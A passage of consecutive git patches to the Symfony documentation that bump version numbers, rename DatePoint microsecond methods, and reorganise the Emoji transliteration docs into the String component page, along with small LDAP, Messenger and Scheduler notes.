@@ -238,8 +238,8 @@ The constructor also allows setting a timezone or custom referenced date::
 ``DatePoint`` also allows to set and get the microsecond part of the date and time::
 
     $datePoint = new DatePoint();
-    $datePoint->setMicroseconds(345);
-    $microseconds = $datePoint->getMicroseconds();
+    $datePoint->setMicrosecond(345);
+    $microseconds = $datePoint->getMicrosecond();
 
 .. note::
 
@@ -248,8 +248,8 @@ The constructor also allows setting a timezone or custom referenced date::
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicroseconds` and
-    :method:`Symfony\\Component\\Clock\\DatePoint::getMicroseconds` methods were
+    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicrosecond` and
+    :method:`Symfony\\Component\\Clock\\DatePoint::getMicrosecond` methods were
     introduced in Symfony 7.1.
 
 .. _clock_writing-tests:

From ba0378c100f2d41e752e9d33fa501e07439ae112 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 09:04:14 +0100
Subject: [PATCH 5891/7107] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 95ee6bb89a6..7b51b2ab3cb 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 7.2.5 or above.
+* PHP version 8.1 or above.
 
 Configure Git
 ~~~~~~~~~~~~~

From bbe6d9133aaaec4cf870f109b8f8c4d77e127a31 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 09:06:22 +0100
Subject: [PATCH 5892/7107] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 95ee6bb89a6..7c9ab2579a5 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 7.2.5 or above.
+* PHP version 8.2 or above.
 
 Configure Git
 ~~~~~~~~~~~~~

From 4b54e2c12c71439fb1046816cb78e126fa76c5b0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Sun, 10 Mar 2024 15:39:58 +0100
Subject: [PATCH 5893/7107] Update contributing/code/tests.rst page

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 8bffc4aa4bc..e6af1170e3d 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=5.4.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=6.4.x-dev composer update
 
 .. _running:
 

From 075c29fa816c1a29c9d23d6418950b7e67bd2e9e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Sun, 10 Mar 2024 15:41:43 +0100
Subject: [PATCH 5894/7107] Update contributing/code/tests.rst page

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index e6af1170e3d..58b4aa74d61 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=6.4.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=7.0.x-dev composer update
 
 .. _running:
 

From 3b2a5bd3499315bf60e668f1bd3a9bf9dfa27758 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Mar 2024 09:30:53 +0100
Subject: [PATCH 5895/7107] Update the test article of the contribution guide

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 58b4aa74d61..08f6bc5df12 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=7.0.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=7.1.x-dev composer update
 
 .. _running:
 

From 3a6e5ec8f484fa8fe8d57309676537bf5416241d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 09:05:39 +0100
Subject: [PATCH 5896/7107] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7b51b2ab3cb..7c9ab2579a5 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 8.1 or above.
+* PHP version 8.2 or above.
 
 Configure Git
 ~~~~~~~~~~~~~

From 876cbc034f8a327277395d762af5dd63542259b1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 3 Feb 2024 15:57:55 +0100
Subject: [PATCH 5897/7107] [Emoji] Emoji component

---
 components/emoji.rst | 122 +++++++++++++++++++++++++++++++++++++++++++
 components/intl.rst  |  57 ++++----------------
 2 files changed, 131 insertions(+), 48 deletions(-)
 create mode 100644 components/emoji.rst

diff --git a/components/emoji.rst b/components/emoji.rst
new file mode 100644
index 00000000000..b3f725a2585
--- /dev/null
+++ b/components/emoji.rst
@@ -0,0 +1,122 @@
+The Emoji Component
+===================
+
+    The Emoji component provides utilities to work with emoji characters and
+    sequences from the `Unicode CLDR dataset`_.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/emoji
+
+.. include:: /components/require_autoload.rst.inc
+
+
+Emoji Transliteration
+---------------------
+
+The ``EmojiTransliterator`` class offers a way to translate emojis into their
+textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    // Describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // Describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+
+The ``EmojiTransliterator`` also provides special locales that convert emojis to
+short codes and vice versa in specific platforms, such as GitHub and Slack.
+
+GitHub
+~~~~~~
+
+Convert GitHub emojis to short codes with the ``emoji-github`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-github');
+    $transliterator->transliterate('Teenage 🐢 really love 🍕');
+    // => 'Teenage :turtle: really love :pizza:'
+
+Convert GitHub short codes to emojis with the ``github-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('github-emoji');
+    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
+    // => 'Teenage 🐢 really love 🍕'
+
+Slack
+~~~~~
+
+Convert Slack emojis to short codes with the ``emoji-slack`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+Convert Slack short codes to emojis with the ``slack-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('slack-emoji');
+    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
+    // => 'Menus with 🥗 or 🧆'
+
+
+Emoji Slugger
+-------------
+
+Combine the emoji transliterator with the :doc:`/components/string`
+to improve the slugs of contents that include emojis (e.g. for URLs).
+
+Call the ``AsciiSlugger::withEmoji()`` method to enable the emoji transliterator in the Slugger::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji();
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁 go to 🏞️', '-', 'en');
+    // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park';
+
+    $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
+    // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
+
+.. tip::
+
+    Integrating the Emoji Component with the String component is straightforward and requires no additional
+    configuration.string.
+
+Removing Emojis
+---------------
+
+The ``EmojiTransliterator`` can also be used to remove all emojis from a string, via the
+special ``strip`` locale::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
+Disk space
+----------
+
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space.
+
+If you need to save disk space (e.g. because you deploy to some service with tight
+size constraints), run this command (e.g. as an automated script after ``composer install``)
+to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/emoji/Resources/bin/compress
+
+
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/components/intl.rst b/components/intl.rst
index bbd088c830e..768ea30903c 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -28,7 +28,6 @@ This component provides the following ICU data:
 * `Locales`_
 * `Currencies`_
 * `Timezones`_
-* `Emoji Transliteration`_
 
 Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -386,56 +385,19 @@ to catching the exception, you can also check if a given timezone ID is valid::
 Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
-The ``EmojiTransliterator`` class provides a utility to translate emojis into
-their textual representation in all languages based on the `Unicode CLDR dataset`_::
+.. note::
 
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+    The ``EmojiTransliterator`` class provides a utility to translate emojis into
+    their textual representation in all languages based on the Unicode CLDR dataset.
 
-    // describe emojis in English
-    $transliterator = EmojiTransliterator::create('en');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with pizza or spaghetti'
+Discover all the available Emoji manipulations in the :doc:`component documentation </components/emoji>`.
 
-    // describe emojis in Ukrainian
-    $transliterator = EmojiTransliterator::create('uk');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with піца or спагеті'
-
-The ``EmojiTransliterator`` class also provides two extra catalogues: ``github``
-and ``slack`` that converts any emojis to the corresponding short code in those
-platforms::
-
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
-
-    // describe emojis in Slack short code
-    $transliterator = EmojiTransliterator::create('slack');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-    // describe emojis in Github short code
-    $transliterator = EmojiTransliterator::create('github');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-Furthermore the ``EmojiTransliterator`` provides a special ``strip`` locale
-that removes all the emojis from a string::
-
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
-
-    $transliterator = EmojiTransliterator::create('strip');
-    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
-    // => 'Hey! Happy Birthday!'
-
-.. tip::
-
-    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
-    to improve the slugs of contents that include emojis (e.g. for URLs).
+Disk space
+----------
 
-The data needed to store the transliteration of all emojis (~5,000) into all
-languages take a considerable disk space. If you need to save disk space (e.g.
-because you deploy to some service with tight size constraints), run this command
-(e.g. as an automated script after ``composer install``) to compress the internal
-Symfony emoji data files using the PHP ``zlib`` extension:
+If you need to save disk space (e.g. because you deploy to some service with tight size
+constraints), run this command (e.g. as an automated script after ``composer install``) to compress the
+internal Symfony Intl data files using the PHP ``zlib`` extension:
 
 .. code-block:: terminal
 
@@ -464,4 +426,3 @@ Learn more
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
-.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr

From 9333df7a418202a9efb4e4cc62bc2698bf13aaa9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Mar 2024 10:51:49 +0100
Subject: [PATCH 5898/7107] Reorganize the Emoji component contents

---
 components/emoji.rst  | 122 ------------------------------------------
 components/string.rst |  99 +++++++++++++++++++++++++++++++++-
 2 files changed, 98 insertions(+), 123 deletions(-)
 delete mode 100644 components/emoji.rst

diff --git a/components/emoji.rst b/components/emoji.rst
deleted file mode 100644
index b3f725a2585..00000000000
--- a/components/emoji.rst
+++ /dev/null
@@ -1,122 +0,0 @@
-The Emoji Component
-===================
-
-    The Emoji component provides utilities to work with emoji characters and
-    sequences from the `Unicode CLDR dataset`_.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/emoji
-
-.. include:: /components/require_autoload.rst.inc
-
-
-Emoji Transliteration
----------------------
-
-The ``EmojiTransliterator`` class offers a way to translate emojis into their
-textual representation in all languages based on the `Unicode CLDR dataset`_::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    // Describe emojis in English
-    $transliterator = EmojiTransliterator::create('en');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with pizza or spaghetti'
-
-    // Describe emojis in Ukrainian
-    $transliterator = EmojiTransliterator::create('uk');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with піца or спагеті'
-
-
-The ``EmojiTransliterator`` also provides special locales that convert emojis to
-short codes and vice versa in specific platforms, such as GitHub and Slack.
-
-GitHub
-~~~~~~
-
-Convert GitHub emojis to short codes with the ``emoji-github`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-github');
-    $transliterator->transliterate('Teenage 🐢 really love 🍕');
-    // => 'Teenage :turtle: really love :pizza:'
-
-Convert GitHub short codes to emojis with the ``github-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('github-emoji');
-    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
-    // => 'Teenage 🐢 really love 🍕'
-
-Slack
-~~~~~
-
-Convert Slack emojis to short codes with the ``emoji-slack`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-slack');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-Convert Slack short codes to emojis with the ``slack-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('slack-emoji');
-    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
-    // => 'Menus with 🥗 or 🧆'
-
-
-Emoji Slugger
--------------
-
-Combine the emoji transliterator with the :doc:`/components/string`
-to improve the slugs of contents that include emojis (e.g. for URLs).
-
-Call the ``AsciiSlugger::withEmoji()`` method to enable the emoji transliterator in the Slugger::
-
-    use Symfony\Component\String\Slugger\AsciiSlugger;
-
-    $slugger = new AsciiSlugger();
-    $slugger = $slugger->withEmoji();
-
-    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁 go to 🏞️', '-', 'en');
-    // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park';
-
-    $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
-    // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
-
-.. tip::
-
-    Integrating the Emoji Component with the String component is straightforward and requires no additional
-    configuration.string.
-
-Removing Emojis
----------------
-
-The ``EmojiTransliterator`` can also be used to remove all emojis from a string, via the
-special ``strip`` locale::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    $transliterator = EmojiTransliterator::create('strip');
-    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
-    // => 'Hey! Happy Birthday!'
-
-Disk space
-----------
-
-The data needed to store the transliteration of all emojis (~5,000) into all
-languages take a considerable disk space.
-
-If you need to save disk space (e.g. because you deploy to some service with tight
-size constraints), run this command (e.g. as an automated script after ``composer install``)
-to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
-
-.. code-block:: terminal
-
-    # adjust the path to the 'compress' binary based on your application installation
-    $ php ./vendor/symfony/emoji/Resources/bin/compress
-
-
-.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/components/string.rst b/components/string.rst
index 68362ed8654..08870881541 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -507,6 +507,101 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
+Working with Emojis
+-------------------
+
+.. versionadded:: 7.1
+
+    The emoji component was introduced in Symfony 7.1.
+
+Symfony provides several utilities to work with emoji characters and sequences
+from the `Unicode CLDR dataset`_. They are available via the Emoji component,
+which you must first install in your application:
+
+.. code-block:: terminal
+
+    $ composer require symfony/emoji
+
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space.
+
+If you need to save disk space (e.g. because you deploy to some service with tight
+size constraints), run this command (e.g. as an automated script after ``composer install``)
+to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/emoji/Resources/bin/compress
+
+.. _string-emoji-transliteration:
+
+Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` class offers a way to translate emojis into their
+textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    // Describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // Describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+
+The ``EmojiTransliterator`` also provides special locales that convert emojis to
+short codes and vice versa in specific platforms, such as GitHub and Slack.
+
+GitHub Emoji Transliteration
+............................
+
+Convert GitHub emojis to short codes with the ``emoji-github`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-github');
+    $transliterator->transliterate('Teenage 🐢 really love 🍕');
+    // => 'Teenage :turtle: really love :pizza:'
+
+Convert GitHub short codes to emojis with the ``github-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('github-emoji');
+    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
+    // => 'Teenage 🐢 really love 🍕'
+
+Slack Emoji Transliteration
+...........................
+
+Convert Slack emojis to short codes with the ``emoji-slack`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+Convert Slack short codes to emojis with the ``slack-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('slack-emoji');
+    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
+    // => 'Menus with 🥗 or 🧆'
+
+Removing Emojis
+~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
+via the special ``strip`` locale::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
+.. _string-slugger:
+
 Slugger
 -------
 
@@ -579,7 +674,8 @@ the injected slugger is the same as the request locale::
 Slug Emojis
 ~~~~~~~~~~~
 
-You can transform any emojis into their textual representation::
+You can also combine the :ref:`emoji transliterator <string-emoji-transliteration>`
+with the slugger to transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
@@ -648,3 +744,4 @@ possible to determine a unique singular/plural form for the given word.
 .. _`Code points`: https://en.wikipedia.org/wiki/Code_point
 .. _`Grapheme clusters`: https://en.wikipedia.org/wiki/Grapheme
 .. _`Unicode equivalence`: https://en.wikipedia.org/wiki/Unicode_equivalence
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr

From 9de3da7d84231fb3eebc9aa8a2c2b3b0ebaf11a7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 13:13:30 +0100
Subject: [PATCH 5899/7107] Update setup.rst

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6ed508d771b..90a89e78e8a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.0.*" --webapp
+    $ symfony new my_project_directory --version="7.1.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.0.*"
+    $ symfony new my_project_directory --version="7.1.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 46a9a052c2455ee6290693daf2f7f6d5702fc53c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 11 Mar 2024 13:44:36 +0100
Subject: [PATCH 5900/7107] fix build

---
 components/intl.rst   | 2 +-
 components/string.rst | 2 ++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 768ea30903c..0cf99591369 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -390,7 +390,7 @@ Emoji Transliteration
     The ``EmojiTransliterator`` class provides a utility to translate emojis into
     their textual representation in all languages based on the Unicode CLDR dataset.
 
-Discover all the available Emoji manipulations in the :doc:`component documentation </components/emoji>`.
+Discover all the available Emoji manipulations in the :ref:`component documentation <working-with-emojis>`.
 
 Disk space
 ----------
diff --git a/components/string.rst b/components/string.rst
index 08870881541..56af5719170 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -507,6 +507,8 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
+.. _working-with-emojis:
+
 Working with Emojis
 -------------------
 

From f75e43710f5bf1239e7a42e4475b9e0e2b299965 Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Mon, 11 Mar 2024 15:07:54 +0100
Subject: [PATCH 5901/7107] adds hint of return value

---
 security/ldap.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security/ldap.rst b/security/ldap.rst
index e6bb8d6351b..7e33eb10fb7 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,6 +197,12 @@ use the ``ldap`` user provider.
             ;
         };
 
+.. versionadded:: 5.4
+
+    `LdapUser::getExtraFields()` always returns an array of values. Prior
+    `LdapUserProvider` threw and `InvalidArgumentException` on multiple
+    attributes.
+
 .. caution::
 
     The Security component escapes provided input data when the LDAP user

From e0910915ed97a438f9d284d4a88cd2af0730ddca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 17:59:09 +0100
Subject: [PATCH 5902/7107] Update build.php

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index be2fb062a77..454553d459e 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('5.4')
+            ->setSymfonyVersion('6.4')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')

From 7040512e84182f28aa95abf3bce4ca058ddd65ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Mar 2024 09:36:00 +0100
Subject: [PATCH 5903/7107] Update build.php

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index 454553d459e..6a1ac4642f0 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('6.4')
+            ->setSymfonyVersion('7.0')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')

From ef3b01df3ce14ac49ca90d961f300a9463c863fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Mar 2024 09:37:21 +0100
Subject: [PATCH 5904/7107] Update build.php

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index 6a1ac4642f0..5298abe779a 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('7.0')
+            ->setSymfonyVersion('7.1')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')

From 67807816bdb485ca2d0556231eaa4d2f3a2748d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Mar 2024 09:51:22 +0100
Subject: [PATCH 5905/7107] Minor reword

---
 controller.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/controller.rst b/controller.rst
index 6bd1b4184da..7a3e7aec0f2 100644
--- a/controller.rst
+++ b/controller.rst
@@ -451,8 +451,8 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
-If the request query string is empty and if you still need to have a valid DTO, you can
-define a default value in your controller method::
+If you need a valid DTO even when the request query string is empty, set a
+default value for your controller arguments::
 
     use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
@@ -467,8 +467,6 @@ define a default value in your controller method::
         // ...
     }
 
-In this case your DTO should have default values.
-
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute

From 037dd187a02c2d99252e54c5f3c284ebcb399b79 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Mar 2024 10:21:37 +0100
Subject: [PATCH 5906/7107] [Messenger] Mention `ScheduledStamp`

---
 components/messenger.rst | 9 +++++++++
 scheduler.rst            | 9 +++++++++
 2 files changed, 18 insertions(+)

diff --git a/components/messenger.rst b/components/messenger.rst
index 7f430b55c90..e5981bbd67c 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -162,6 +162,15 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
   to configure the validation groups used when the validation middleware is enabled.
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
   an internal stamp when a message fails due to an exception in the handler.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`,
+  a stamp that marks the message as produced by a scheduler. You can learn
+  more about it in the :doc:`Scheduler component page </scheduler>`. This helps
+  differentiate from messages created "manually".
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` was
+    introduced in Symfony 6.4.
 
 .. note::
 
diff --git a/scheduler.rst b/scheduler.rst
index e824c0af5a5..ee79ea4fbe1 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -914,6 +914,15 @@ before being further redispatched to its corresponding handler::
         }
     }
 
+When using the ``RedispatchMessage``, a
+:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` will be attached
+to the message, helping you identify those messages when needed.
+
+.. versionadded:: 6.4
+
+    Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
+    to redispatched messages was introduced in Symfony 6.4.
+
